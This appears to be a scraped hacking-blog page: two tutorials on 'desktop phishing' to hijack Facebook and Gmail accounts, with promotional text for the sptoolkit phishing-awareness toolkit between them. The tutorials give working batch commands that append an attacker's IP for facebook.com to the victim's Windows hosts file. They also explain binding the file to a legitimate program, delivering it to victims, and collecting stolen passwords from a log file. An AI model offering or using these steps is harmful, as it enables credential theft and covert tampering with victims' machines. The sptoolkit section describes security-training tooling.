Desktop Phishing Tutorial - Hack Facebook Accounts

                                                        

Desktop Phishing is another advanced type of Phishing attack, In my previous post Desktop Phishing -Introduction i explained the idea and working behind this phishing attack, In this article i will explain how you can use this method to hack Facebook book , Gmail accounts .

This phishing attack is a bit advanced and if your a newbie i would recommend you to read the following articles first


Desktop Phishing Tutorial - Hack Facebook Accounts
Concept Behind The Hack :
Hosts file is a computer file used in an operating system to map host names to IP addresses. Host file used to play a large role before the Domain Name System (DNS) came into existence. A hosts file basically controls how your browser finds websites.



You can use host file to map any word or domain to an ip address or to another domain. For example if we add 

74.125.236.84 www.facebook.com

To the host file what will happen is that when you type Facebook.com in your browser it will open google.com instead of facebook.com this is because (74.125.236.84) is Google's Ip, So the browesr will take it blindly So if a attacker is abel to add his Ip address (where he Hosts the phisher page ) Victim will be redirected to the attackers phishing site

What makes this attack so successful is the victim will not Know since the URL only remains facebook.com
What Hackers Dont Teach You ?
I see many tutorials on the net on Desktop Phishing but Most of the tuts wont't work because of following things

• Now days every one has a dynamic IP address (ip changes every time when you restart )
• Now all most all computers are behind a Router, So we have to port forward our web server in order to access it . This is a little confusing for newbies

But in this tutorial i will explain how you can over come all these problems

How To Over Come This Problem ?
We can overcome the above problems by using a static VPN , With a VPN you will have a static Ip address and you need not port forward your webserver


Demonstration
Things You Require :-

1. Phisher Page - You can download Facebook Phisher page from Here
(I've added an extra page to make it more realistic, the victim will get a message saying Facebook is blocked by your isp)

2. Web server - You can use wamp or xammp , i would recommend you to use xammp, i have written a tutorial on how you can install , use Xammp kindly refer the article for more details


3. A static VPN - I will Use proXPN VPN for this Tutorial but i recommend you to use Strong Open VPN as it is very stable you can download it from Here 

Procedure:-

1. First Download and install xampp on your PC, Start Apache and Msql services

2. Download the Facebook Phisher page From the link given above, Place all its contents in the ht docs folder which should be under Xammp (place were you installed xampp)

3. Install ProXPN VPN or any other static VPN, i recommend you to use Strong Vpn as it very stable and gives you a static IP Once you install and run it, you will get a static IP (vpn)

4. Now we have to replace some text in the victims Host file which is at C:\windows\system32\drivers\etc ,You can do this by many ways either by using a SFX archive or using a batch file for this tutorial we will use a batch file to accomplish the job


@echo off
echo 172.X.XX.X.X www.facebook.com >> C:\windows\system32\drivers\etc\hosts
exit
Replace "172.X.XX.X.X" with your IP (vpn ) address, Finally save it as Save it as Something.bat

5. Now to avoid suspicion you can Bind the batch file with a legitimate file, Kindly refer the Binders tutorial for more info

6. Now send the file via email or upload the file to a site and ask the victim to download the file , After the victim downloads and clicks the file, his host file will be replaced ,So now when ever the victim enters facebook.com He will be redirected to our Phisher Page, But the URL will remain as Facebook.com

To see all the victims credentials and Password open newly created log.txtfile which is under ht docs folder

 
source : 101hacker.com

Sptoolkit v0.7 code name Ghost Fish - A Simple Phishing Toolkit

The spt project ( sptoolkit ) is an open source phishing education toolkit that aims to help in securing the mind as opposed to securing computers. A simple, targeted link is all it takes to bypass the most advanced security protections. The link is clicked, the deed is done.

spt ( sptoolkit )was developed from the ground up to provide a simple and easy to use framework to identify your weakest links so that you can patch the human vulnerability. If the spt project sounds interesting to you, please consider downloading it for evaluation in your own organization. Feedback is welcomed and always appreciated.

Basic reuirements for sptoolkit

• Apache,
• PHP
• MySQL

Feature list of sptoolkit 

• Vast improvements in the editing functionality for templates and education packages. Major changes include: two different editors to choose from (the oroginal spt text editor and TinyMCE), copy templates or education to new version and then customize them.
• Added education completion tracking, now you can determine if your targets completed the assigned education in a campaign.
• Support for the Google and TinyURL URL shortener services. Now your phishing emails can have shortened URLs, making them harder to detect.
• Support for sending SMTP using SSL secured connections.
• Enhancements to the viewing of campiang information including SMTP relay used and destination URL used.
• Initial support for using spt in SSL/TLS secured installations, code updates to prevent insecure content warnings.
• All forms now generate inline errors with entered value retention, allowing easy correction of incorrect or missing items without requiring all information to be entered again.
• Email tracking times are now more accurate when viewing campaign information.
• Most items in the Quick Start module now feature links allowing you to quickly access the desired location in the spt UI.
• Enhancements to the browser detection script for more information on what you need vs. what you have.
• Many security and usability issues fixed.
• Additional improvements in authentication and session management security.

Change log and version release history

Version 0.7, code name Ghost Fish. Released August 13, 2012

• Vast improvements in the editing functionality for templates and education packages. Major changes include: two different editors to choose from (the oroginal spt text editor and TinyMCE), copy templates or education to new version and then customize them.
• Added education completion tracking, now you can determine if your targets completed the assigned education in a campaign.
• Support for the Google and TinyURL URL shortener services. Now your phishing emails can have shortened URLs, making them harder to detect.
• Support for sending SMTP using SSL secured connections.
• Enhancements to the viewing of campiang information including SMTP relay used and destination URL used.
• Initial support for using spt in SSL/TLS secured installations, code updates to prevent insecure content warnings.
• All forms now generate inline errors with entered value retention, allowing easy correction of incorrect or missing items without requiring all information to be entered again.
• Email tracking times are now more accurate when viewing campaign information.
• Most items in the Quick Start module now feature links allowing you to quickly access the desired location in the spt UI.
• Enhancements to the browser detection script for more information on what you need vs. what you have.
• Many security and usability issues fixed.
• Additional improvements in authentication and session management security.

Download sptoolkit 

sptoolkit v0.70
ZIP – new install
ZIP – upgrade

Visit Website -

http://www.sptoolkit.com/

Download spt v0.6.0 – Simple Phishing Toolkit

spt is a simple concept with powerful possibilities. It is what it’s name implies: a simple phishing toolkit.

The basic idea we (the spt project) had was that wouldn’t it be cool if there were a simple, effective, easy to use and free (most importantly!) tool that information security professionals could use to evaluate and train what we all know is the weakest link in any security minded organization: the people.

Since the founders of the spt project are themselves information security professionals by day (and possibly either LOL cats or zombies by night), they themselves faced the frustration of dealing with people within their own organizations that claimed to know better, but 9 times out of 10 fell for the most absurdly obvious phishing emails ever seen. A malware outbreak here, a stolen password and loss of critical organizational data there and the costs of dealing with the results of phishing can get to be astronomical pretty darn quickly!

Enter spt. spt was made from scratch, like a baby (or maybe a zombie) with the goal of giving over-worked and under-staffed information security professionals a simple tool (more like a framework, as we hope to add more features over time) that could be used to identify and train those weakest links. spt is a fully self-contained phishing email toolkit that can be installed, configured and phishing in less than 15 minutes. Its design is modular and open-ended allowing for future expansion and additional features via easy to snap-in modules that are simply uploaded in the administration dashboard. Why not try out spt today and see who your weakest link is?

You can download spt here:

sptoolkit_0.60_zip.zip

Or read more here.

Desktop Phishing - Step by step tutorial

 It is an advance form of phishing. Kindly read my previous post on normal phishing herebefore proceeding.Difference between phishing and desktop phishing is as follows.

In phishing :-

1. Attacker convinces the victim to click on the link of fake login page which resembles a genuine login page.

2.Victim enters his credentials in fake login page that goes to attacker.

3.Victim is then redirected to an error page or genuine website depending on attacker.

But main drawback in phishing is that victim can easily differentiate between fake and real login page by looking at the domain name. We can overcome this in desktop phishing by spoofing domain name.

In desktop phishing:-

1. Attacker sends an executable/batch file to victim and victim is supposed to double click on it. Attacker's job is done.

2. Victim types  the domain name of orignal/genuine website and is taken to our fake login page. But the domain name remains the same as typed by victim and victim doesn't come to know.

3. Rest of the things are same as in normal phishing.

What is Hosts File ?

The hosts file  is a text file containing domain names and IP address associated with them.

Location of hosts file in windows: C:\Windows\System32\drivers\etc\

Whenever we visit any website, say www.anything.com , an query is sent to  Domain Name Server(DNS) to  look up for the IP address associated with that website/domain. But before doing this the hosts file on our local computer is checked for the IP address associated to the domain name.

Suppose we make an entry in hosts file as shown. When we visit www.anywebsite.com , we would

be taken to this 115.125.124.50. No query for resolving IP address associated with www.anywebsite.com would be sent to DNS.

What is attack ?

I hope you have got an idea that how modification of this hosts file on victim's computer can be misused. We  need to modify victim's hosts file by adding the genuine domain name and IP address of our fake website /phishing page. Whenever victim would visit the genuine website , he would be directed to our fake login page and domain name in the URL box would remain genuine as typed by victim. Hence domain name is spoofed.

Two Steps to perform attack :-

1. Create and host phishing page on your computer.

2. Modify victim's host file

Step 1 -:

Since the webshosting sites like 110mb.com,ripway.com etc where we usually upload our phishing page do not provide a IP that points to your website like www.anything.110mb.com. An IP address points to a webserver and not a website. So we need to host the phishing page on our computer using a webserver software like wamp or xampp.

Kindly read my simple  tutorial on setting up XAMPP webserver here  and this step would be clear to you.

Step 2. This  step can performed in two different ways. 

Method 1 - Send victim a zip file containing modified host file . When Zip file would be clicked, It would automatically replace victim's orignal hosts file with modified hosts file.

Copy your hosts file and paste it anywhere . Modify it according to yourself..Edit it with any text editor and associate your public IP address with domain you wish as show.

Like in this case , when victim would visit gmail.com , he would be taken to website hosted on IP 'xxx.xxx.xxx.xxx'.Replace it with your public IP.Compress hosts file such that when victim opens it, it automatically gets copied to default location C:\Windows\system32\drivers\etc and victim's hosts file get replaced by our modified hosts file.

Then you can bind this file with any exe ( using a binder or directly give it to victim. He is supposed to click it and you are done .

Method 2 - Create a batch file which would modify hosts file as per your need.

Open your notepad and type the following text

echo xxx.xxx.xxx.xxx. www.watever.com >> C:\windows\system32\drivers\etc\hosts

echo xxx.xxx.xxx.xxx watever.com >> C:\windows\system32\drivers\etc\hosts 

Obviously replace it with your IP and website acc. to yourself.

Save file as 'all files' instead of txt files and name it anything.bat . Extension must be .bat 

When victim would run this file, a new entry will be made in hosts file.

You can test both the above methods to modify your own hosts file

Limitations of attack :-

1.Since our pubilc IP address is most probably dynamic that it gets changed everytime we disconnect and connect. To overcome this we need to purchase static IP from our ISP.

2. The browser may warn the victim that Digital Certificate of the website is not genuine.

Countermeasures:-

Never just blindly enter your credentials in a login page even if you yourself have typed a domain name in web browser. Check the protocol whether it is "http" or "https" . https is secure.

source :  http://www.explorehacking.com